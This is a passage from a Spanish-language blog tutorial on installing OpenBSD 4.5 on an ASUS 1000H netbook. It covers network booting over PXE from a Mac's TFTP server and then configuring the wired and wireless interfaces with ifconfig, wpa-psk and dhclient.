class="blsp-spelling-error" id="SPELLING_ERROR_183">ls</span></span> /<span class="blsp-spelling-error" id="SPELLING_ERROR_184"><span class="blsp-spelling-error" id="SPELLING_ERROR_184">System</span></span>/<span class="blsp-spelling-error" id="SPELLING_ERROR_185"><span class="blsp-spelling-error" id="SPELLING_ERROR_185">Library</span></span>/<span class="blsp-spelling-error" id="SPELLING_ERROR_186"><span class="blsp-spelling-error" id="SPELLING_ERROR_186">LaunchDaemons</span></span>/ | more<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_187"><span class="blsp-spelling-error" id="SPELLING_ERROR_187">bootps</span></span>.<span class="blsp-spelling-error" id="SPELLING_ERROR_188"><span class="blsp-spelling-error" id="SPELLING_ERROR_188">plist</span></span><br />com.apple.AOSHelper.plist<br />com.apple.ATSServer.plist<br />com.apple.AppleFileServer.plist<br />com.apple.CoreRAID.plist<br />com.apple.DirectoryServices.plist<br />com.apple.DirectoryServicesLocal.plist<br />...</blockquote>Entonces seguimos los pasos que allí nos indican:<br /><br />Subimos el servicio:<br /><div style="text-align: left;"><blockquote><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_189"><span class="blsp-spelling-error" id="SPELLING_ERROR_189">bash</span></span><span style="color: rgb(0, 0, 153);">-3.2# </span><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_190"><span class="blsp-spelling-error" id="SPELLING_ERROR_190">launchctl</span></span><span style="color: rgb(0, 0, 153);"> load -w /</span><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_191"><span class="blsp-spelling-error" id="SPELLING_ERROR_191">System</span></span><span style="color: rgb(0, 0, 153);">/</span><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_192"><span class="blsp-spelling-error" id="SPELLING_ERROR_192">Library</span></span><span style="color: rgb(0, 0, 153);">/</span><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_193"><span class="blsp-spelling-error" id="SPELLING_ERROR_193">LaunchDaemons</span></span><span style="color: rgb(0, 0, 153);">/</span><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_194">tftp</span><span style="color: rgb(0, 0, 153);">.</span><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_195">plist</span></blockquote></div>Bajamos el servicio:<br /><div style="text-align: left;"><blockquote style="color: rgb(0, 0, 153);"><span class="blsp-spelling-error" id="SPELLING_ERROR_196">bash</span>-3.2# <span class="blsp-spelling-error" id="SPELLING_ERROR_197">launchctl</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_198">unload</span> -w /<span class="blsp-spelling-error" id="SPELLING_ERROR_199">System</span>/<span class="blsp-spelling-error" id="SPELLING_ERROR_200">Library</span>/<span class="blsp-spelling-error" id="SPELLING_ERROR_201">LaunchDaemons</span>/<span class="blsp-spelling-error" id="SPELLING_ERROR_202">tftp</span>.<span class="blsp-spelling-error" id="SPELLING_ERROR_203">plist</span></blockquote></div><br />El directorio <span class="blsp-spelling-error" id="SPELLING_ERROR_204">raiz</span> para el <span class="blsp-spelling-error" id="SPELLING_ERROR_205">TFTP</span> esta en:<br /><blockquote style="color: rgb(0, 0, 153);"><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_206">bash</span>-3.2# <span class="blsp-spelling-error" id="SPELLING_ERROR_207">pwd</span><br />/<span class="blsp-spelling-error" id="SPELLING_ERROR_208">private</span>/<span class="blsp-spelling-error" id="SPELLING_ERROR_209">tftpboot</span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_210">bash</span>-3.2#</blockquote>Donde obviamente al principio no hay nada, entonces debemos entrar al ftp de OpenBSD y descargar 2 archivos:<br /><br /><a href="ftp://ftp.openbsd.org.ar/pub/OpenBSD/4.5/i386/pxeboot">ftp://ftp.openbsd.org.ar/pub/OpenBSD/4.5/i386/pxeboot</a><br /><a href="ftp://ftp.openbsd.org.ar/pub/OpenBSD/4.5/i386/bsd.rd">ftp://ftp.openbsd.org.ar/pub/OpenBSD/4.5/i386/bsd.rd</a><br /><br /><div style="text-align: justify;">Estos dos archivos son suficientes para arrancar el sistema de instalación.<br />Una vez descargados los dos archivos los copio al directorio <span style="font-style: italic;">/</span><span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_211">private</span><span style="font-style: italic;">/</span><span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_212">tftpboot</span> y como el archivo <span class="blsp-spelling-error" id="SPELLING_ERROR_213">pxeboot</span> buscará un archivo llamado <span class="blsp-spelling-error" id="SPELLING_ERROR_214">bsd</span>, entonces renombro el archivo <span class="blsp-spelling-error" id="SPELLING_ERROR_215">bsd</span>.<span class="blsp-spelling-error" id="SPELLING_ERROR_216">rd</span> a <span class="blsp-spelling-error" id="SPELLING_ERROR_217">bsd</span>.<br /></div><br /><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_218"></span><blockquote><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_218">bash</span><span style="color: rgb(0, 0, 153);">-3.2# </span><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_219">pwd</span> <span style="color: rgb(0, 0, 153);">/</span><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_220">private</span><span style="color: rgb(0, 0, 153);">/</span><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_221">tftpboot</span> <span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_222">bash</span><span style="color: rgb(0, 0, 153);">-3.2# </span><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_223">mv</span><span style="color: rgb(0, 0, 153);"> </span><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_224">bsd</span><span style="color: rgb(0, 0, 153);">.</span><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_225">rd</span><span style="color: rgb(0, 0, 153);"> </span><span style="color: rgb(0, 0, 153);" class="blsp-spelling-error" id="SPELLING_ERROR_226">bsd</span></blockquote>Listo, cargo nuevamente el servicio <span class="blsp-spelling-error" id="SPELLING_ERROR_227">tftp</span> y ahora configuro el ASUS para que arranque por red.<br /><br /><span style="font-size:130%;"><span style="font-weight: bold;">5. Arranque por red del </span><span style="font-weight: bold;" class="blsp-spelling-error" id="SPELLING_ERROR_229">ASUS</span></span><br /><br /><div style="text-align: justify;">Entro con la opción F2 a la <span class="blsp-spelling-error" id="SPELLING_ERROR_230">BIOS</span> del sistema y busco la sección <span class="blsp-spelling-error" id="SPELLING_ERROR_231">Boot</span>, una vez allí habilito la opción "<span class="blsp-spelling-error" id="SPELLING_ERROR_232">OnBoard</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_233">LAN</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_234">Boot</span> ROM" y en la prioridad de <span class="blsp-spelling-error" id="SPELLING_ERROR_235">boot</span> dejo como primera opción:<br />"<span class="blsp-spelling-error" id="SPELLING_ERROR_236">Network</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_237">Atheros</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_238">Boot</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_239">Agent</span>". Aún queda faltando una cosa, debemos grabar los cambios y entrar con <span class="blsp-spelling-error" id="SPELLING_ERROR_240">Shift</span>+F10, una vez en la pantalla de <span class="blsp-spelling-error" id="SPELLING_ERROR_241">boot</span> de <span class="blsp-spelling-error" id="SPELLING_ERROR_242">Atheros</span>, debemos configurar dos campos:<br /></div><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_243">Network</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_244">Boot</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_245">Protocol</span> = <span class="blsp-spelling-error" id="SPELLING_ERROR_246">PXE</span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_247">Boot</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_248">Order</span> = <span class="blsp-spelling-error" id="SPELLING_ERROR_249">Int</span> 19H (que significa que primero intente el arranque por red y luego por el disco)<br /><br />Una vez realizado estos cambios podemos reiniciar el sistema y esperar a que cargue el asistente de instalación de OpenBSD.<br /><br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SkBHlITiMOI/AAAAAAAABFA/B5d_MTPQsB4/s1600-h/boot.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SkBHlITiMOI/AAAAAAAABFA/B5d_MTPQsB4/s400/boot.JPG" alt="" id="BLOGGER_PHOTO_ID_5350355060526297314" border="0" /></a><span style="font-size:85%;"><span style="font-weight: bold;">Fig 3. Arranque por PXE desde el ASUS</span></span><br /></div><span style="font-size:130%;"><br /><span style="font-weight: bold;">6. Instalación de OpenBSD 4.5</span></span><br /><br />Seguimos el proceso tradicional de instalación de OpenBSD y cuando nos pregunte por el disco <span class="blsp-spelling-error" id="SPELLING_ERROR_253">raiz</span> en donde se va a instalar el sistema, seleccionamos <span class="blsp-spelling-error" id="SPELLING_ERROR_254">sd</span>0, OpenBSD reconoce la <span class="blsp-spelling-error" id="SPELLING_ERROR_255">microSD</span> como dispositivo <span class="blsp-spelling-error" id="SPELLING_ERROR_256">sd</span>0. Cuidado con seleccionar el <span class="blsp-spelling-error" id="SPELLING_ERROR_257">wd</span>0 porque puede borrar el disco duro (Ojo, esto es en mi 1000H, verifique su versión de asus porque algunas versiones de <span class="blsp-spelling-error" id="SPELLING_ERROR_258">ASUS</span> usan discos <span class="blsp-spelling-error" id="SPELLING_ERROR_259">SD que OBSD los puede reconocer con los mismos nombres</span>).<br /><br />Cuando llegamos al punto donde nos piden los paquetes podemos hacerlo desde un <span class="blsp-spelling-error" id="SPELLING_ERROR_260">mirror</span> local o usar alguno de los sugeridos (esta fue mi opción) de esta forma el instalador se conecta a un servidor http remoto y descarga todos los .<span class="blsp-spelling-error" id="SPELLING_ERROR_261">tgz</span> necesarios para instalar el sistema (opción muuuyyy lenta).<br /><br />Durante la creación de dispositivos finalizando la instalación, el sistema tomo mas tiempo del normal, pero finalmente se instaló, por favor sea paciente, estamos instalando en una <span class="blsp-spelling-error" id="SPELLING_ERROR_262">microSD</span> de mala calidad :p.<br /><br />La parte <span class="blsp-spelling-error" id="SPELLING_ERROR_263">simpatica</span> del asunto es que efectivamente se nos reconocieron los dos dispositivos de red con los drivers<span style="font-style: italic;"> </span><span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_264">ale</span><span style="font-style: italic;"> y </span><span style="font-style: italic;" class="blsp-spelling-error" id="SPELLING_ERROR_265">ral (así llamaré a mis dos primeros hijos)</span>, por lo tanto debemos tener dos dispositivos llamados:<br /><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_266">ale</span>0 y <span class="blsp-spelling-error" id="SPELLING_ERROR_267">ral</span>0<br /><br /><blockquote style="color: rgb(0, 0, 153);"><div style="text-align: left;"># <span class="blsp-spelling-error" id="SPELLING_ERROR_268">ifconfig</span> <br /><span style="color: rgb(255, 0, 0);">lo0: </span><span style="color: rgb(255, 0, 0);" class="blsp-spelling-error" id="SPELLING_ERROR_269">flags</span><span style="color: rgb(255, 0, 0);">=8049</span><up,loopback,running,multicast style="color: rgb(255, 0, 0);"> <span class="blsp-spelling-error" id="SPELLING_ERROR_270">mtu</span> 33204</up,loopback,running,multicast><br /><up,loopback,running,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_271">priority</span>: 0</up,loopback,running,multicast><br /><up,loopback,running,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_272">groups</span>: lo</up,loopback,running,multicast><br /><up,loopback,running,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_273">inet</span>6 ::1 <span class="blsp-spelling-error" id="SPELLING_ERROR_274">prefixlen</span> 128</up,loopback,running,multicast><br /><up,loopback,running,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_275">inet</span>6 fe80::1%lo0 <span class="blsp-spelling-error" id="SPELLING_ERROR_276">prefixlen</span> 64 <span class="blsp-spelling-error" id="SPELLING_ERROR_277">scopeid</span> 0x4</up,loopback,running,multicast><br /><up,loopback,running,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_278">inet</span> 127.0.0.1 <span class="blsp-spelling-error" id="SPELLING_ERROR_279">netmask</span> 0<span class="blsp-spelling-error" id="SPELLING_ERROR_280">xff</span>000000</up,loopback,running,multicast><br /><br /><up,loopback,running,multicast style="color: rgb(255, 0, 0);"><span class="blsp-spelling-error" id="SPELLING_ERROR_281">ale</span>0: <span class="blsp-spelling-error" id="SPELLING_ERROR_282">flags</span>=8843<up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_283">mtu</span> 1500</up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_284">lladdr</span> 00:22:15:6d:59:73</up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_285">priority</span>: 0</up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_286">groups</span>: <span class="blsp-spelling-error" id="SPELLING_ERROR_287">egress</span></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast> media: Ethernet 1000<span class="blsp-spelling-error" id="SPELLING_ERROR_288">baseT</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_289">full</span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_290">duplex</span> (100<span class="blsp-spelling-error" id="SPELLING_ERROR_291">baseTX</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_292">full</span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_293">duplex</span>)</up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_294">status</span>: active</up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_295">inet</span>6 fe80::222:15<span class="blsp-spelling-error" id="SPELLING_ERROR_296">ff</span>:fe6d:5973%<span class="blsp-spelling-error" id="SPELLING_ERROR_297">ale</span>0 <span class="blsp-spelling-error" id="SPELLING_ERROR_298">prefixlen</span> 64 <span class="blsp-spelling-error" id="SPELLING_ERROR_299">scopeid</span> 0x1</up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_300">inet</span> 192.168.0.150 <span class="blsp-spelling-error" id="SPELLING_ERROR_301">netmask</span> 0<span class="blsp-spelling-error" id="SPELLING_ERROR_302">xffffff</span>00 <span class="blsp-spelling-error" id="SPELLING_ERROR_303">broadcast</span> 192.168.0.255</up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast style="color: rgb(255, 0, 0);"><up,broadcast,running,simplex,multicast><span class="blsp-spelling-error" id="SPELLING_ERROR_304"><br />ral</span>0: <span class="blsp-spelling-error" id="SPELLING_ERROR_305">flags</span>=8843<up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_306">mtu</span> 1500</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_307">lladdr</span> 00:15:<span class="blsp-spelling-error" id="SPELLING_ERROR_308">af</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_309">bc</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_310">fc</span>:4d</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_311">priority</span>: 0</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_312">groups</span>: <span class="blsp-spelling-error" id="SPELLING_ERROR_313">wlan</span></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast> media: IEEE802.11 <span class="blsp-spelling-error" id="SPELLING_ERROR_314">autoselect</span> (<span class="blsp-spelling-error" id="SPELLING_ERROR_315">DS</span>2 <span class="blsp-spelling-error" id="SPELLING_ERROR_316">mode</span> 11g)</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_317">status</span>: active</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_318">ieee</span>80211: <span class="blsp-spelling-error" id="SPELLING_ERROR_319">nwid</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_320">hack</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_321">chan</span> 11 <span class="blsp-spelling-error" id="SPELLING_ERROR_322">bssid</span> 00:0f:66:0c:7b:9d 13<span class="blsp-spelling-error" id="SPELLING_ERROR_323">dB</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_324">wpapsk</span> 0<span class="blsp-spelling-error" id="SPELLING_ERROR_325">xd</span>93<span class="blsp-spelling-error" id="SPELLING_ERROR_326">fc</span>0f93a9ca36<span class="blsp-spelling-error" id="SPELLING_ERROR_327">ef</span>3<span class="blsp-spelling-error" id="SPELLING_ERROR_328">cd</span>4e5e1c51700<span class="blsp-spelling-error" id="SPELLING_ERROR_329">ee</span>80c97331f42de28<span class="blsp-spelling-error" id="SPELLING_ERROR_330">bd</span>42<span class="blsp-spelling-error" id="SPELLING_ERROR_331">beadc</span>41<span class="blsp-spelling-error" id="SPELLING_ERROR_332">ed</span>4f4 <span class="blsp-spelling-error" id="SPELLING_ERROR_333">wpaprotos</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_334">wpa</span>1,<span class="blsp-spelling-error" id="SPELLING_ERROR_335">wpa</span>2 <span class="blsp-spelling-error" id="SPELLING_ERROR_336">wpaakms</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_337">psk</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_338">wpaciphers</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_339">tkip</span>,<span class="blsp-spelling-error" id="SPELLING_ERROR_340">ccmp</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_341">wpagroupcipher</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_342">tkip</span></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_343">inet</span>6 fe80::215:<span class="blsp-spelling-error" id="SPELLING_ERROR_344">afff</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_345">febc</span>:<span class="blsp-spelling-error" id="SPELLING_ERROR_346">fc</span>4d%<span class="blsp-spelling-error" id="SPELLING_ERROR_347">ral</span>0 <span class="blsp-spelling-error" id="SPELLING_ERROR_348">prefixlen</span> 64 <span class="blsp-spelling-error" id="SPELLING_ERROR_349">scopeid</span> 0x2</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast> <span class="blsp-spelling-error" id="SPELLING_ERROR_350">inet</span> 192.168.0.151 <span class="blsp-spelling-error" id="SPELLING_ERROR_351">netmask</span> 0<span class="blsp-spelling-error" id="SPELLING_ERROR_352">xffffff</span>00 <span class="blsp-spelling-error" id="SPELLING_ERROR_353">broadcast</span> 192.168.0.255</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /></div></blockquote><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>Para configurar la tarjeta <span class="blsp-spelling-error" id="SPELLING_ERROR_354">ale</span>0 se hace del modo tradicional (<span class="blsp-spelling-error" id="SPELLING_ERROR_355">ifconfig</span>), para configurar la <span class="blsp-spelling-error" id="SPELLING_ERROR_356">ra</span>l0 y conectarme a la red <span class="blsp-spelling-error" id="SPELLING_ERROR_357">inalambrica</span>, lo que hago es pasar al siguiente paso.</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><span style="font-size:130%;"><up,loopback,running,multicast style="font-weight: bold;"><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>7. Configuración de la tarjeta <span class="blsp-spelling-error" id="SPELLING_ERROR_358">inalambrica</span> del <span class="blsp-spelling-error" id="SPELLING_ERROR_359">ASUS</span> con OpenBSD 4.5</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast></span><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>Cuando el <span class="blsp-spelling-error" id="SPELLING_ERROR_360">AP</span> no tiene seguridad de <span class="blsp-spelling-error" id="SPELLING_ERROR_361">ningún</span> tipo, solo basta con hacer:</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast style="color: rgb(0, 0, 153);"><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><blockquote><up,loopback,running,multicast style="color: rgb(0, 0, 153);"><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>#<span class="blsp-spelling-error" id="SPELLING_ERROR_362">ifconfig</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_363">ral</span>0 <span class="blsp-spelling-error" id="SPELLING_ERROR_364">nwid</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_365">hack</span></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast></blockquote><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>donde "<span class="blsp-spelling-error" id="SPELLING_ERROR_366">hack</span>" es el <span class="blsp-spelling-error" id="SPELLING_ERROR_367">ESSID</span> de la red <span class="blsp-spelling-error" id="SPELLING_ERROR_368">inalambrica</span>.</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>Cuando el <span class="blsp-spelling-error" id="SPELLING_ERROR_369">AP</span> tiene seguridad es necesario configurar algo más:</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast><div style="text-align: left;">Si la seguridad es <span class="blsp-spelling-error" id="SPELLING_ERROR_370">WPA/WPA</span>2 PERSONAL/ENTERPRISE <span class="blsp-spelling-error" id="SPELLING_ERROR_371">TKIP</span></div></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><div style="text-align: left;"><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><blockquote style="color: rgb(0, 0, 153);"><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast><div style="text-align: left;"><div style="text-align: left;"># <span class="blsp-spelling-error" id="SPELLING_ERROR_372">ifconfig</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_373">ral</span>0 <span class="blsp-spelling-error" id="SPELLING_ERROR_374">nwid</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_375">hack</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_376">wpa</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_377">wpapsk</span> `<span class="blsp-spelling-error" id="SPELLING_ERROR_378">wpa</span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_379">psk</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_380">hack</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_381">hacking</span>123`</div></div></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><div style="text-align: left;"># <span class="blsp-spelling-error" id="SPELLING_ERROR_382">dhclient</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_383">ral</span>0 </div><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><div style="text-align: left;">DHCPREQUEST on ral0 to 255.255.255.255 port 67</div><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><div style="text-align: left;">DHCPACK from 192.168.0.4</div><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><div style="text-align: left;">bound to 192.168.0.151 -- renewal in 150000 seconds.</div><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><div style="text-align: left;">#</div><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast></blockquote><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast><div style="text-align: left;"><div style="text-align: left;"></div></div></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast></div><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>Para este caso el ESSID es: "hack" y la palabra de paso (la clave) es: "hacking123"</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>Lo que hicimos es meter dentro del mismo comando el cifrado que genera el comando <span style="font-style: italic;">wpa-psk</span>.</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>Tambien lo podemos sacar por aparte y luego "pegarlo" en la línea de comando:</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br 